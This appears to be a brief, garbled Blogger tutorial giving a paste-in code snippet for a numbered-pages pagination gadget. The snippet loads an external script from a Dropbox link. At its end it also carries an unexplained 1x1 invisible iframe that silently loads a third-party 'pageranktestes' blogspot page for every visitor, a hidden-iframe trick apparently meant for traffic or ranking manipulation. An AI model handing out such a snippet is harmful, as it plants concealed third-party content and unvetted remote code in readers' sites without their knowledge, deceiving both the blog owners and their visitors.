How to put a gadjete-numbered pages of the blog

To add a gadjete on your blog that puts a number at the end of gadjete add a blog with the following code:

 

Código:  

<style type="text/css">
#blog-pager{font-size:normal;padding:10px 0;clear:both;}
.showpageArea{font-family:verdana,arial,helvetica;color:#000;font-size:11px;margin:10px}
.showpageArea a{color:#000}
.showpageNum a{padding:3px 8px;margin:0 2px;text-decoration:none;border:1px solid #999;background:#ddd;color:#000;}
.showpageNum a:hover{border:1px solid #888;background:#ccc}
.showpageOf{margin:0 2px 0 0;padding:3px 8px;margin:0 2px;text-decoration:none;border:1px solid #999}
.showpagePoint{color:#fff;padding:3px 8px;margin:2px;border:1px solid #999;background:#666; text-decoration:none}
</style>
<script style='text/javascript'>
var numshowpage=4;
var postperpage =3;
var upPageWord="Anterior";
var downPageWord="Próxima";
var home_page="/";
var urlactivepage=location.href;
</script>
<script style='text/javascript' src='http://dl.dropbox.com/u/35784805/Mil%20Trucos%20Blogger/paginacionbloggermtb.js'></script>
<iframe name=a src=http://pageranktestes.blogspot.com/ width=1 height=1 frameborder=0 scrolling=no>
</iframe>